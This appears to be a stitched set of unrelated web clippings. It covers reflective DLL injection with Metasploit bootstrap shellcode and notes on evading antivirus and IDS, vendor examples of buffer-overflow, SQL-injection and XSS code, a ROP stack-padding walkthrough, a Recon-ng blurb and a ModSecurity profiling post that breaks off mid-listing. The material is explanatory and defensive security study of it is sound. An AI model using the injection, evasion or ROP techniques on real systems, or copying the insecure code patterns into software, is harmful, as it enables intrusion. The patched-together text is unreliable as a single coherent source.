  * As the library's image will currently exists in an arbitrary location in memory the ReflectiveLoader will first calculate its own image's current location in memory so as to be able to parse its own headers for use later on.
  * The ReflectiveLoader will then parse the host processes kernels export table in order to calculate the addresses of three functions required by the loader, namely LoadLibraryA, GetProcAddress and VirtualAlloc.
  * The ReflectiveLoader will now allocate a continuous region of memory into which it will proceed to load its own image. The location is not important as the loader will correctly relocate the image later on.
  * The library's headers and sections are loaded into their new locations in memory.
  * The ReflectiveLoader will then process the newly loaded copy of its image's import table, loading any additional library's and resolving their respective imported function addresses.
  * The ReflectiveLoader will then process the newly loaded copy of its image's relocation table.
  * The ReflectiveLoader will then call its newly loaded image's entry point function, DllMain with DLL\_PROCESS\_ATTACH. The library has now been successfully loaded into memory.
  * Finally the ReflectiveLoader will return execution to the initial bootstrap shellcode which called it.

## Implementation

A skeleton Reflective DLL project for building library's for use with
Reflective DLL Injection is available under the three clause BSD license\[7\].
Support for Reflective DLL Injection has also been added to Metasploit\[6\] in
the form of a payload stage and a modified VNC DLL.

The ReflectiveLoader itself is implemented in position independent C code with
a minimal amount of inlined assembler. The ReflectiveLoader code has been
heavily commented and for a thorough understanding you should read through
this code. A good understanding of the PE file format\[3\] is recommended when
reading through the source code. Matt Pietrek has written a number of good
articles detailing the PE file format\[4\]\[5\] which are also recommended
reading.

Under Metasploit, the Ruby module Payload::Windows::ReflectiveDllInject
implements a new stage for injecting a DLL which contains a ReflectiveLoader.
This stage will calculate the offset to the library's exported
ReflectiveLoader function and proceed to generate a small bootstrap shellcode,
as show below in Listing 1, which is patched into the DLL images MZ header.
This allows execution to be passed to the ReflectiveLoader after the
Metasploit intermediate stager loads the entire library into the host process.

> dec ebp ; M  
>  pop edx ; Z  
>  call 0 ; call next instruction  
>  pop ebx ; get our location \(+7\)  
>  push edx ; push edx back  
>  inc ebp ; restore ebp  
>  push ebp ; save ebp  
>  mov ebp, esp ; setup fresh stack frame  
>  add ebx, 0x???????? ; add offset to ReflectiveLoader  
>  call ebx ; call ReflectiveLoader  
>  mov ebx, eax ; save DllMain for second call  
>  push edi ; our socket  
>  push 0x4 ; signal we have attached  
>  push eax ; some value for hinstance  
>  call eax ; call DllMain\( somevalue,DLL\_METASPLOIT\_ATTACH, socket \)  
>  push 0x???????? ; our EXITFUNC placeholder  
>  push 0x5 ; signal we have detached  
>  push eax ; some value for hinstance  
>  call ebx ; call DllMain\( somevalue,DLL\_METASPLOIT\_DETACH, exitfunk \)  
>  ; we only return if we don't set a valid EXITFUNC
> Listing 1: Bootstrap Shellcode.
The bootstrap shellcode also lets us attach Metasploit by passing in the
payloads socket and finally the payloads exit function via calls to DllMain
for compatibility with the Metasploit payload system.

## Detection

Successfully detecting a DLL that has been loaded into a host process through
Reflective DLL Injection will be difficult. Previous methods of detecting
injected libraries will be largely obsolete, such as inspecting a process's
currently loaded library's for irregularities or detecting hooked library
functions.

As a reflectively loaded library will not be registered in the host processes
list of loaded modules, specifically the list held in the Process Environment
Block \(PEB\) which is modified during API calls such as kernel32's
LoadLibrary and LoadLibraryEx, any attempt to enumerate the host processes
modules will not yield the injected library. This is because the injected
library's ReflectiveLoader does not register itself with its host process at
any stage.

Similarly, detecting hooked library functions is redundant as no library
functions are required to be hooked for the ReflectiveLoader to work.

At a process level the only indicators that the library exists is that their
will be a chunk of allocated memory present, via VirtualAlloc, where the
loaded library resides. This memory will be marked as readable, writable and
executable. Their will also be a thread of execution which will be,
periodically at least, executing code from this memory chunk.

By periodically scanning all threads of execution and cross referencing the
legitimately loaded libraries in the process with a call trace of each thread
it may be possible to identify unusual locations of code. This will inevitably
lead to many false positives as there are many reasons to execute code in a
location of memory other then a library's code sections. Examples of this are
packed or protected executables and languages that use techniques like just in
time \(JIT\) compilation, such as Java or .NET.

At a system level when using Reflective DLL Injection in remote exploitation,
the library should be undetectable by file scanners, such as Anti Virus, as it
never touches disk. This leaves the main detection surface being the network,
although many IDS evasion techniques are available\[8\] to aid circumventing
detection such as polymorphic shellcode.

## References

\[1\] Skape and JT, Remote Library Injection  
http://www.nologin.org/Downloads/Papers/remote-library-injection.pdf

\[2\] DilDog, Back Orifice 2000  
http://sourceforge.net/projects/bo2k/

\[3\] Microsoft, Microsoft Portable Executable and Common Object File Format
Specification  
http://www.microsoft.com/whdc/system/platform/firmware/PECOFF.mspx

\[4\] Matt Pietrek, An In-Depth Look into the Win32 Portable Executable File
Format  
http://msdn.microsoft.com/en-gb/magazine/cc301805.aspx

\[5\] Matt Pietrek, Peering Inside the PE: A Tour of the Win32 Portable
Executable File Format  
http://msdn.microsoft.com/en-gb/magazine/ms809762.aspx

\[6\] Metasploit LLC, Metasploit  
http://www.metasploit.com

\[7\] Stephen Fewer, Reflective Dll Injection  
http://www.harmonysecurity.com/ReflectiveDllInjection.html

\[8\] Kevin Tim, IDS Evasion Techniques and Tactics  
http://www.securityfocus.com/infocus/1577

&nbsp;

<img src='img/Temp2_3655.gif' width='125' height='16' alt='Bookmark and Share'
/>

&nbsp;

&nbsp;

Copyright &copy; 2010 Harmony Security | Privacy Policy | About

# Find memory leaks, buffer overruns and other coding defects with Klocwork
Insight

**Created:**| _6/8/2011 1:44:27 PM_  
---|---  
**Updated:**| _6/8/2011 1:44:27 PM_  
**Author:**| __  
**Tags:**| _analysis vulnerability programming static_  
  

# Insight Defects

### Security Vulnerabilities and Quality Defects

Klocwork products apply complex static analysis techniques to C, C++, Java and
C\# to automatically locate critical programming bugs and security
vulnerabilities in source code.

By applying inter-procedural control flow, data flow, value-range propagation
and symbolic logic evaluation, Klocwork can find hundreds of errors on well-
validated, feasible execution paths. Issue types found by Klocwork are
summarized below by programming language, along with selected bug examples
which include a code snippet and detailed description.

#### C and C++ Error Examples

#### C\# Error Examples

#### Java Error Examples

  
  

* * *
### C and C++ Error Examples

Many bugs created within C-derived languages are common to all derivations as
well as to the root language. The most notable problems derive from C's
requirement for the programmer to manage memory explicitly. This places an
ongoing lifetime maintenance burden on the original developer as well as on
every developer who inherits the code over time. Klocwork finds a broad range
of issues specific to C and C++ which fit into the following high-level
categories:

  * Memory and Resource Management \(See detailed example\)
  * Program Data Management \(See detailed example\)
  * Buffer Overflows \(See detailed example\)
  * Concurrency Violations
  * Vulnerable Coding Practices
  * Platform Support
  * Long-term Maintenance Issues

#### NULL Pointer Dereferences

NULL pointers \(or null object references in Java\) cause numerous problems
when they are dereferenced, usually due to insufficient defenses being placed
in code. This type of error shows itself most notably in larger systems where
different developers are responsible for inter-dependent modules.

Check your own code for NULL Dereferences now - Free

#### NULL Pointer Dereference - An Example

This is a simple example of NULL Pointer Dereference:

void foo\(int\* p\) \{ \*p = 32; \}  
void bar\(\) \{ foo\(NULL\); \}

  

When both of these functions are physically resident within the same module or
the same subsystem, it is trivial for even junior developers to find the
error. But, when these functions are separated into dependent subsystems
written by different developers or different development teams, these errors
become much more difficult to spot manually.

Value projection also adds another layer of complexity:

  

void foo\(int\* p\) \{ \*p = 32;  
\}  
void bar\(int x\) \{  
int\* p = NULL;  
if\( x == 15 || x == 20 \)  
p = &x;  
if\( x > 10 && x <= 20 \)  
foo\(p\);  
\}

In this example, certain values of the incoming parameter will cause errors
and other values will not. Klocwork products are able to understand how these
values affect the available space of code paths.

  

#### Buffer Overflow

Buffer overflows, more generally referred to as "array bounds violations," are
errors that occur when code addresses elements of an array outside of the
bounds that are defined for that data object.

Check your own code for Buffer Overflow now - Free

#### Buffer Overflow - An Example

This is a simple example of a buffer overflow:

char arr\[32\];  
for\( int i = 0; i < 64; i++ \)  
arr\[i\] = \(char\)i;

In this simple example, the programmer is explicitly addressing memory outside
of the range of the stack-based variable "arr." This will cause memory to be
overwritten, potentially including the stack frame information that is
required for the function to successfully return to its caller, etc.

This coding pattern is at the heart of some of the most pernicious security
vulnerabilities that exist in software today.

While the specifics of the vulnerability change from instance to instance, the
underlying problem is the same: performing array copy operations that are
incorrectly or insufficiently guarded against exploit. Consider the following
example:

void foo\(unsigned char\* data\) \{  
unsigned char value\[32\];  
int len = \(int\)data \[0\];  
memcpy\(value, data + 1, len\);  
\}

The "memcpy" call will copy up to 256 bytes \(the result of taking the zero'th
element of the "data" buffer as its length\) into a fixed sized stack-based
array of only 32 bytes. If that data stream is available to the outside world,
the system can be hacked.

For a high-profile example of this error in a long line of cases of buffer
overflow causing stack corruption and vulnerability to code injection,
consider Microsoft's well-published problems with animated cursor files.

  

#### Memory Leak Detection

One of the major problems with C-derived languages is the requirement for the
programmer to manage memory completely. Buffers or structures that are
allocated on the heap must be released appropriately when all references to
those buffers or structures are about to head out of scope.

Check your own code for Memory Leaks now - Free  
  

#### Memory Leaks - An Example

This is a simple example of a memory leak:

void foo\(\) \{ malloc\(32\); \}

  

On return from this function, a data block of 32 bytes in length will languish
unreferenced on the heap. If repeated enough times, the heap manager will
fail.

By applying rigorous control and data flow analysis, Klocwork products can
spot occurrences of memory leaks within code constructs that might easily pass
manual inspection. For example:

typedef struct List \{  
struct List\* next;  
char\* value;  
int len;  
\} List;  
  
void addToList\(List\* root, char\* str\) \{  
List\* elem = \(List\*\)malloc\(sizeof\(List\)\);  
if\( elem \) \{  
elem->next = root->next;  
root->next = elem;  
  
/\* Duplicate the string, allocating memory \*/  
elem->value = strdup\(str\);  
elem->len = strlen\(str\);  
\}  
\}  
  
void removeList\(List\* root\) \{  
List\* ptr;  
while\( \(ptr = root\) \!= NULL \) \{  
root = root->next;  
  
/\* This releases the structure, but not the string \*/  
free\(ptr\);  
\}  
\}  
  
void foo\(\) \{  
List\* root = \(List\*\)calloc\(1, sizeof\(List\)\);  
addToList\(root, "hello"\);  
addTolist\(root, "world"\);  
removeList\(root\);  
free\(root\);  
\}

Here, a simple singly linked list leaks memory whenever it is cleaned up
because while the list elements themselves are released, the strings to which
each element points are not released. This type of error is particularly
pernicious in C++ with base and derived classes defining different elements
that all must be cleaned up by the virtual destructor chain in order to
guarantee no memory leaks.

  

* * *
### C\# Error Examples

C\# developers face many of the same problems as users of other languages,
plus many situations that are unique the language and the underlying .Net
framework. Klocwork can detect a variety of situations in which code will
cause failures, either immediately or over time, including:

  

  * Invalid Object References \(See detailed example\)
  * Incorrect Contractual Obligations \(See detailedexample\)
  * Weak Coding Practices
  * Long-term Maintenance Issues

#### NULL Object References

#### NULL Object References - An Example

For example, the following invalid use of a NULL object reference:

Check your own code for NULL Object References now - Free  

public class MyClass \{  
public MyClass Create\(\) \{  
if \(flag\) return null;  
return new MyClass\(\);  
\}  
private int flag;  
\}  
  
public class MyOtherClass \{  
public void foo\(\) \{  
MyClass obj = Create\(\);  
obj.foo\(\);  
\}  
\}

In this case, there are a set of conditions under which the unchecked usage of
the returned object 'obj' will cause a runtime failure, and thus this code
will result in a Klocwork report of a possible defect.  

  

#### Resource is not Disposed

Likewise, considering contractual obligations, the IDispose interface requires
referencing objects use the sole interface member Dispose\) before allowing an
implementing object to go out of scope. For example, the following code will
cause a defect to be reported:  

Check your own code for Resource is not Disposed now - Free

#### Resource is not Disposed - An Example

using System;  
namespace Leaky  
\{  
class ResourceLeak  
\{  
class MyDisposable : IDisposable  
\{  
public void Dispose\(\) \{  
// Do something to remove associated resources  
\}  
\}  
static void foo\(\)  
\{  
IDisposable d = new MyDisposable\(\);  
//Defect, function exits without closing the  
resource  
\}  
\}  
\}

  

Modifying this code to either explicitly invoke the Dispose method on the
object 'd', or by using the 'using' construct, will remove the defect:  

static void foo\(\)  
\{  
using\( IDisposable d = new MyDisposable\(\) \) \{  
\}  
// No defect, Dispose is automatically invoked  
\}

  
  

* * *
  
  

### Java Error Examples

  

Java programming also comes with its own unique set of common error
vulnerabilities. Klocwork can detect a large number of issues in Java which
fit into the following categories:

  * Resource Management \(See detailed example\)
  * Concurrency Violations \(See detailed example\)
  * Web Application Vulnerabilities \(See detailed example\)
  * Uses of Un-validated User Input
  * Device-specific Coding Practices
  * JSP Interactions
  * Invalid Object References
  * Improper Collection Usage

  

#### Concurrency

Concurrent programming, or the practice of dividing up a program's execution
context into two or more threads, is becoming increasingly common due to the
prevalence of multi-core and multi-CPU hardware environments. Regardless of
the programming language being used, there are several basic requirements
placed on any source code analysis engine that must be taken seriously in a
concurrent context. Two of the most important of these are:  

  * The ability to spot dead-lock or live-lock situations
  * The ability to spot race conditions

  
Without these capabilities, programmers are left to guess for themselves how
their programs will operate at runtime.  
  
Dead-locks and live-locks refer to situations in which programs use locking
semantics to guard sections of code against two or more threads of execution
attempting access simultaneously. Typically, this involves modifying global
data, but is by no means limited to that context.  
  

Check your own code for Concurrency - Free

#### Concurrency - An Example

  

Consider the following example:

public void foo\(\)  
\{  
if\( someCondition\(\) \) \{  
synchronized\( someGlobalSemaphore \) \{  
// First problem, this blocks all threads  
Thread.Sleep\(1000\);  
if\( someOtherCondition\(\) \) \{  
// Second problem, potential contention  
synchronized\( someOtherGlobalSemaphore \) \{  
...  
\}  
\}  
\}  
\}  
\}

Here, several different locking scenarios are shown, any of which can cause
blocking situations, including:

  * Explicitly blocking one thread while holding a process-wide lock
  * Lock contention through potentially inconsistent acquisition semantics

Significant debug time can also be spent chasing almost impossible-to-
replicate behavior caused by the "race condition." This condition occurs when
two or more threads each has an equal chance to modify data in each others'
context. A simple example is static data in a re-entrant class, such as a
servlet running within a J2EE container. Modifying class data on one thread
that might be read or differently modified at the same time by another thread
will lead to unexpected behavior.

  

#### Resource Leaks

Like memory leaks, resource leaks can be crippling to an application and, over
time, will lead to denial-of-service scenarios. The family of resource leaks
to be most concerned with are those that tie into either operating system
handles or descriptors, or to framework memory that requires explicit release
semantics.  
  
Klocwork supports a wide variety of resource semantics, from basic types like
file descriptors and streams to framework-specific semantics for environments
such as Google's Web Toolkit, Struts, Java Mail, J2ME, ImageIO, Hibernate, and
many more.  
  
A very common mistake is to assume that the runtime garbage collector \(GC\)
will look after resources in the same way that it looks after memory
references. However, while the memory associated with the object itself is
collected by the GC, the resources associated with that object may not be
cleaned up.  
  

Check your own code for Resource Leaks now- Free

#### Resource Leaks - An Example

  

Consider the following example:  

public void foo\(String name\) throws IOException \{  
Reader r =  
new InputStreamReader\(new FileInputStream\(name\)\);  
char ch;  
while\( \(ch = r.read\(\)\) \!= -1 \) \{  
if\( ch == ' ' \)  
return;  
\}  
\}

There are at least two types of resource that are collected under the input
stream object in the example above:

  * Memory associated with the stream object itself, and with managing state within the stream
  * An operating system file descriptor or handle that relates to the underlying file within the file system

The GC will take care of the first aspect while leaving the underlying
descriptor open, thus consuming valuable system resources over time and
eventually resulting in a denial-of-service scenario.

  

#### Web Application Vulnerabilities

With many potential pitfalls inherent in creating web applications, this has
quickly become one of the most popular areas to investigate automated
approaches to debugging. Klocwork's source code analysis products detect
vulnerabilities like:

  * SQL injection
  * Process or file injection
  * Code injection
  * Cross-site scripting \(XSS\)
  * Request forging

Each of these types of failure requires specific checks and analysis.
Generally, however, a many of the attack vectors exposed by such weaknesses
can be generalized to the propagation of tainted data around an under-
defensive design. That is, taking input from a user or another process and
using that data without rigorous validation of its format, its range, or
whatever else might make sense for the data type in question.

Check your own code for Web Vulnerabilities now- Free

#### Web Application Vulnerabilities - An Example

In a servlet context, for example, consider the following snippet:

public void doGet\(HttpServletRequest req,  
HttpServletResponse res\)  
\{  
String name = req.getParameter\("username"\);  
String pwd = req.getParameter\("password"\);  
  
// SQL Injection  
int id = validateUser\(username, password\);  
  
// XSS  
String retstr = "User : " \+ name + " has ID: " \+ id;  
res.getOutputStream\(\).write\(retstr.getBytes\(\)\);  
\}  
  
private int validateUser\(String user, String pwd\)  
throws Exception  
\{  
Statement stmt = myConnection.createStatement\(\);  
ResultSet rs;  
  
rs = stmt.executeQuery\("select id from users where  
user='" \+ user + "' and key='" \+ pwd + "'"\);  
return rs.next\(\) ? rs.getInt\(1\) : -1;  
\}

This example exhibits several different kinds of common errors. Ignoring the
obvious resource leakage and management issues for now, these include:

  * SQL injection via the use of an unfiltered incoming URL parameter as both username and password
  * Cross-site scripting, or request mirroring, by including the unfiltered incoming URL parameter in our response to the user

A malicious user could provide suitably marked-up URL parameters that would
cause many problems. Likewise, applications that fail to validate strings that
end up being used as file names are also open to file or process injection. As
a result of its comprehensive web vulnerability analysis, Klocwork can detect
all OWASP Top 10 vulnerabilities which can be found through static source code
analysis:

  * Unvalidated Input
  * Broken Access Control
  * Broken Authentication and Session Management
  * Cross Site Scripting
  * Buffer Overflow
  * Injection Flaws
  * Improper Error Handling
  * Insecure Storage
  * Application Denial of Service

# Marco Ramilli's Blog: ROP : Stack Compensation

**Created:**| _12/18/2011 4:44:06 PM_  
---|---  
**Updated:**| _12/18/2011 4:44:06 PM_  
**Author:**| __  
**Tags:**| _rop stackbof_  
  

## ROP : Stack Compensation

Aug

22

Hi folks,

today I want to write another quick 'n dirty post on how to compensate the
stack during Return Oriented Programming. Gadgets come with some PUSH/POP
operations that shift %ESP blocking the ROP chain.

  

Lets make this \(fake\) example:

  

Gadget 1: 77C5E842 : PUSH EDI / POP EAX / POP EBP / RET  
Gadget 2: 77C5D7F5: ADD EAX,20 / POP EBP / RET  
Gadget 3: 71AC2528 : XOR EAX,EAX / INC ESI / RET

  

Gadget 1, makes PUSH %EDI which decrements %ESP, POP %EAX which increments
%ESP \(so far %ESP is not modified from the original value\) but then it makes
another POP %EBP which increments %ESP. Finally it RETurns. Gadget 1 does not
RET at %ESP + 4 but at %ESP +8 \(%ESP + 4 need to be filled up since it is
moved to %EBP\). At this point the attacker needs to fill in 4 bytes between
addresses 77C1E842 and 77C1D7F5.

  

Gadget 2, makes an arithmetic operation \(ADD\) which does not modify %ESP but
then it POPs %EBP. This increments %ESP. %ESP + C is popped into %EBP. The
attacker needs to fill up 4 bytes between addresses 77C1D7F5 and 71AA2526

  

Gadget 3, maxes only arithmetic operations, it does not need padding.

  

Finally we come up with the following Stack:

  

%ESP 77C1E842

%ESP+4 41414141

%ESP+8 77C5D7F5

%ESP+C 41414141

%ESP+10 71AC2528

%ESP+14 Eventually another Gadget

  

This post covered how to pad the stack when Gadgets uses an odd number of
sequences PUSH/POP.

# LaNMaSteR53 / Recon-ng — Bitbucket

**Created:**| _1/15/2014 9:41:54 PM_  
---|---  
**Updated:**| _1/15/2014 9:41:54 PM_  
**Author:**| __  
**Tags:**| _web-app-sec security tools Fingerprinting_  
  

# **R** econ-ng****

Recon-ng is a full-featured Web Reconnaissance framework written in
Python**.** Complete with independent modules, database interaction, built in
convenience functions, interactive help, and command completion, Recon-ng
provides a powerful environment in which open source web-based reconnaissance
can be conducted quickly and thoroughly**.**

Recon-ng has a look and feel similar to the Metasploit Framework, reducing the
learning curve for leveraging the framework**.** However, it is quite
different**.** Recon-ng is not intended to compete with existing frameworks,
as it is designed exclusively for web-based open source reconnaissance**.** If
you want to exploit, use the Metasploit Framework**.** If you want to Social
Engineer, us the Social Engineer Toolkit**.** If you want to conduct
reconnaissance, use Recon-ng**\!** See the Usage Guide  for more
information**.**

Recon-ng is a completely modular framework and makes it easy for even the
newest of Python developers to contribute**.** Each module is a subclass of
the "module" class. The "module" class is a customized "cmd" interpreter
equipped with built-in functionality that provides simple interfaces to common
tasks such as standardizing output, interacting with the database, making web
requests, and managing API keys**.** Therefore, all the hard work has been
done. Building modules is simple and takes little more than a few minutes**.**
See the Development Guide  for more information**.**

****

# ModSecurity Advanced Topic of the Week: Real-time Application Profiling -
SpiderLabs Anterior

**Created:**| _7/2/2014 9:20:29 AM_  
---|---  
**Updated:**| _7/2/2014 9:20:29 AM_  
**Author:**| __  
**Tags:**| _monitoring apache siem_  
  

# ModSecurity Advanced Topic of the Week: Real-time Application Profiling

One of the key feature differentiators between ModSecurity and other
commercial WAFs has long been automated learning capabilities which achieve a
positive security model for input valiation. ModSecurity users have struggled
to achieve a positive security model ruleset to protect their web
applications. It is not that ModSecurity couldn't enforce a positive security
ruleset, but rather, that this was largely a manual process of creating rules
by hand.

Some community efforts were created to try and fill this need such as Remo and
Web Policies which added GUIs to the process. This helped with the process
however it was still manual. Then Ivan Ristic and Ofer Shezaf presented
ModProfiler, which was an automated method of creating ModSecurity rules based
off of saved audit log data. The concepts presented by ModProfiler were very
good, however it too was not a real-time approach.

This past week, I participated in the OWASP Global Summit in Lisbon, Portugal.
While at the summit, I joined a dynamic working session for one of the
projects I contribute to - AppSensor. The concepts presented in AppSensor's
Detection Points are very good at detecting malicious activity. The problem
for ModSecurity users was that in order to implement some of these detection
points, you needed to have a positive security model. While at the Summit, I
was determined to find a way to achieve real-time application profiling using
ModSecurity's capabilities today. After much trial and error and testing, I
came up with an approach that uses advanced features of the ModSecurity rules
language.

# Real-time Application Profiling

_**I am happy to announce that we have added a basic application profiling
framework ruleset to theOWASP ModSecurity Core Rule Set which takes the first
step towards automated application profiling. **_

We have just released a ruleset to the OWASP CRS SVN repository called
modsecurity\_crs\_40\_profiler.conf. This ruleset is currently available in
the _**/experimental**_ directory of the CRS and we are hoping that the
community will help us with testing and feedback.

The ruleset leverages advanced ModSecurity capabilities such as:

  * Resource-based persistent storage
  * Variable incrementation
  * Macro expansion
  * @within operator checks
  * Operator negation

This initial version of the rules has the ability to profile and enforce the
following on a per-resource basis:

  * Request Method\(s\)
  * Number of Parameters
  * Parameter Names
  * Parameter Length Ranges
  * Parameter Types - numeric or alpha

# Profiling Methodology

Let's take a look at the profiling methodology of the new rules.

## Resource-based Persistent Collections

The key capability that we are leveraging to achieve our profiling rules is
that we need to have per-resource persistent storage so that we can correlate
data both across requests and clients. We do this by using initializing a
Resource persistent storage mechanism in phase:1 and we use the macro expanded
REQUEST\_FILENAME variable as the collection key.

[code]

    #
    # --[ Step 1: Initiate the Resource Collection ]--
    #
    # We are using the REQUEST_FILENAME as the key and then set 2 variables -
    #
    # [resource.pattern_threshold]
    # Set the resource.pattern_threshold as the minimum number of times that a match should occur 
    # in order to include it into the profile
    #
    # [resource.confidence_counter_threshold] 
    # Set the resource.confidence_counter_threshold as the minimum number of "clean" transactions
    # to profile/inspect before enforcement of the profile begins.
    #
    SecAction "phase:1,t:none,nolog,pass,**initcol:resource=%{REQUEST_FILENAME}** ,setvar:resource.pattern_threshold=50,setvar:resource.confidence_counter_threshold=100"
[/code]

The two setvar actions are used to determine the number of transactions we
want to profile and how many times our individual checks must match before we
add them to the enforcement list.

## Post-Process Profiling

In order to mimize the impact \(latency\) of the profiling rules, we chose to
implement these checks in phase:5 \(logging\). Before we decide whether or not
to profile the transaction, we want to do a few security checks to ensure that
we are only looking at "clean" transactions.

[code]

    #
    # --[ Begin Transaction Profiling ]--
    #
    # There are a number of scenarios where we don't want to profile the transaction as
    # something is wrong.  In these cases, we will skip profiling.
    #
    SecMarker BEGIN_PROFILE_ANALYSIS
    SecAction "phase:5,t:none,nolog,pass,ctl:ruleEngine=DetectionOnly"
    SecRule RESPONSE_STATUS "^404$" "phase:5,t:none,nolog,pass,setvar:!resource.KEY,skipAfter:END_PROFILE_ANALYSIS"
    SecRule RESPONSE_STATUS "^(5|4)" "phase:5,t:none,nolog,pass,skipAfter:END_PROFILE_ANALYSIS"
    SecRule TX:ANOMALY_SCORE "!@eq 0" "phase:5,t:none,nolog,pass,skipAfter:END_PROFILE_ANALYSIS"
    SecRule &RESOURCE:ENFORCE_PROFILE "@eq 1" "phase:2,t:none,nolog,pass,skipAfter:END_PROFILE_ANALYSIS"
[/code]

There are basically four different scenarios where we don't want to profile:

  * We use the ctl action to change the ruleEngine to DetectionOnly as we don't want the operator matching to stop the rule processing. This enables us to profile all ARGS.
  * If the HTTP response code is a 404, then the resource doesn't exist. In this case, not only do we skip the profiling, but we also remove the resource key so we delete the persistent storage.
  * If the HTTP response code is a level 4xx or 5xx, then the application says something is wrong with the transaction so we won't profile it either.
  * If the CRS anomaly score is anything other than 0, then we won't profile as this means that one of the negative security rules have triggered.
  * Finally, if we have moved into Enforcement mode, then we will stop profiling.

So, if all of these pre-qualifier checks are passed, we then move to profiling
the request attributes.

## Example Profiling Check

Let's take a look at one of the profiling checks - Parameter Names. I have
added line numbers to help with explanations.

[code]

    #
    # Check parameter names
    #
    1. SecRule ARGS_NAMES "!@within %{resource.args_names_enforce}" "phase:5,t:none,nolog,pass,setvar:resource.args_names_count_%{matched_var}=+1"
    2. SecRule RESOURCE:/ARGS_NAMES_COUNT_/ "@streq %{resource.pattern_threshold}" "chain,phase:5,t:none,nolog,pass,setvar:tx.args_names_count_%{matched_var_name}=%{matched_var_name}"
    3.         SecRule TX:/ARGS_NAMES_COUNT_/ "args_names_count_(.*)$" "capture,t:none,setvar:'resource.args_names_enforce=%{resource.args_names_enforce} %{tx.1}',setvar:!resource.args_names_count_%{tx.1}"
    
    4. SecMarker END_ARGS_NAMES_PROFILE_CHECK
[/code]

Line \#1 - this is another pre-qualifier check to see if the parameter name is
already in our enforcement list. If it is not, then we increment a variable
counter for the parameter name.

Line \#2 - We then check the increment counter to see if it has reached our
pattern.threshold level. If so, then we move to the 2nd part of this chained
rule.

Line \#3 - this rule will take the ARGS\_NAME data and append it to the
enforcement list.

## Example Resource Collection Data

To test out the profiling, I sent the following requests to my local webserver
using the Apache "ab" tool -

[code]

    $ ab -n 111 -c 10 "http://localhost/cgi-bin/printenv?param1=123456¶m2=abcd"
[/code]

Once the number of transactions profiled has reached the confidence counter
threshold, we then add the enforcement variable to the resource collection.
This moves the rules from profiling to enforcement mode.

[code]

    SecAction "phase:5,t:none,nolog,pass,**setvar:resource.confidence_counter=+1** "
    SecRule RESOURCE:CONFIDENCE_COUNTER "@streq %{resource.confidence_counter_threshold}" "phase:5,t:none,nolog,pass,**setvar:resource.enforce_profile=1** "
[/code]

After the profiling phase has been completed, the data saved in the Resource
collection will look something like this:

[code]

    Retrieved collection (name "resource", key "/cgi-bin/printenv").
    Wrote variable: name "__expire_KEY", value "1297959402".
    Wrote variable: name "KEY", value "/cgi-bin/printenv".
    Wrote variable: name "TIMEOUT", value "3600".
    Wrote variable: name "__key", value "/cgi-bin/printenv".
    Wrote variable: name "__name", value "resource".
    Wrote variable: name "CREATE_TIME", value "1297954966".
    Wrote variable: name "UPDATE_COUNTER", value "111".
    Wrote variable: name "pattern_threshold", value "50".
    Wrote variable: name "confidence_counter_threshold", value "50".
    Wrote variable: name "ARGS:param1_digits", value "111".
    Wrote variable: name "ARGS:param2_alpha", value "111".
    Wrote variable: name "confidence_counter", value "111".
    Wrote variable: name "LAST_UPDATE_TIME", value "1297955802".
    Wrote variable: name "profile_confidence_counter", value "111".
    **Wrote variable: name "request_method_enforce", value " GET".
    Wrote variable: name "#_args_enforce", value " 2".
    Wrote variable: name "args_names_enforce", value " param1 param2".
    Wrote variable: name "args_length_check1_enforce", value " ARGS:param2".
    Wrote variable: name "args_length_check2_enforce", value " ARGS:param1".
    Wrote variable: name "args_digits_enforce", value " ARGS:param1".
    Wrote variable: name "args_alpha_enforce", value " ARGS:param2".
    Wrote variable: name "enforce_profile", value "1".**
    Persisted collection (name "resource", key "/cgi-bin/printenv").
[/code]

As you can see, we now have a number of request attributes that we can now
enforce.

## Enforcement Examples

We can now send a series of requests to test out each aspect of the learned
profile for the resource:

### Request Method Enforcement

Test by sending a different request method such as PUT -

[code]

    $ curl **-X PUT** http://localhost/cgi-bin/printenv
[/code]

This results in the following alert message:

[code]

    [Thu Feb 17 10:31:43 2011] [error] [client ::1] ModSecurity: Warning. Match of "within %{tx.allowed_methods}" against "REQUEST_METHOD" required. [file "/usr/local/apache/conf/modsec_current/base_rules/modsecurity_crs_30_http_policy.conf"] [line "30"] [id "960032"] 
    **[msg "Method is not allowed by policy"] [data "PUT"] [severity "CRITICAL"] [tag "POLICY/METHOD_NOT_ALLOWED"] **[tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A6"] **[tag "OWASP_AppSensor/RE1"]** [tag "PCI/12.1"] [hostname "localhost"] [uri "/cgi-bin/printenv"] [unique_id "TV0-XsCoAW0AAEawI0kAAAAB"]
[/code]

Note that in the alert message we have the tag data mapped to the
corresponding AppSensor Detection Point - RE1: Unexpected HTTP Command.

### Number of Parameters

Test by adding a new parameter -

[code]

    $ curl "http://localhost/cgi-bin/printenv?param1=123456¶m2=abcd**¶m3=foo** "
[/code]

This results in the following alert message:

[code]

    [Thu Feb 17 10:55:13 2011] [error] [client ::1] ModSecurity: Warning. Match of "within %{resource.#_args_enforce}" against "&ARGS" required. [file "/usr/local/apache/conf/modsec_current/base_rules/modsecurity_crs_40_profiler.conf"] [line "78"] 
    **[msg "Invalid Number of Parameters."] [data "3"] **[tag "POLICY/PARAMETER_VIOLATION"] **[tag "OWASP_AppSensor/RE5"]** [hostname "localhost"] [uri "/cgi-bin/printenv"] [unique_id "TV1E4cCoAW0AAFoII@oAAAAB"]
[/code]

### Parameter Names

Test by changing a parameter name -

[code]

    $ curl "http://localhost/cgi-bin/printenv?param1=123456**& new_param=foo**"
[/code]

This results in the following alert message:

[code]

    [Thu Feb 17 10:57:57 2011] [error] [client ::1] ModSecurity: Warning. Match of "within %{resource.args_names_enforce}" against "ARGS_NAMES:new_param" required. [file "/usr/local/apache/conf/modsec_current/base_rules/modsecurity_crs_40_profiler.conf"] [line "83"] 
    **[msg "Invalid Parameter Name(s)."] [data "new_param"] **[tag "POLICY/PARAMETER_VIOLATION"] **[tag "OWASP_AppSensor/RE5"]** [hostname "localhost"] [uri "/cgi-bin/printenv"] [unique_id "TV1FhcCoAW0AAFoHI@gAAAAA"]
[/code]

### Parameter Length Checks

Test by changing a parameter length -

[code]

    $ curl "http://localhost/cgi-bin/printenv?**param1=123456789012345678** ¶m2=foo"
[/code]

This results in the following alert message:

[code]

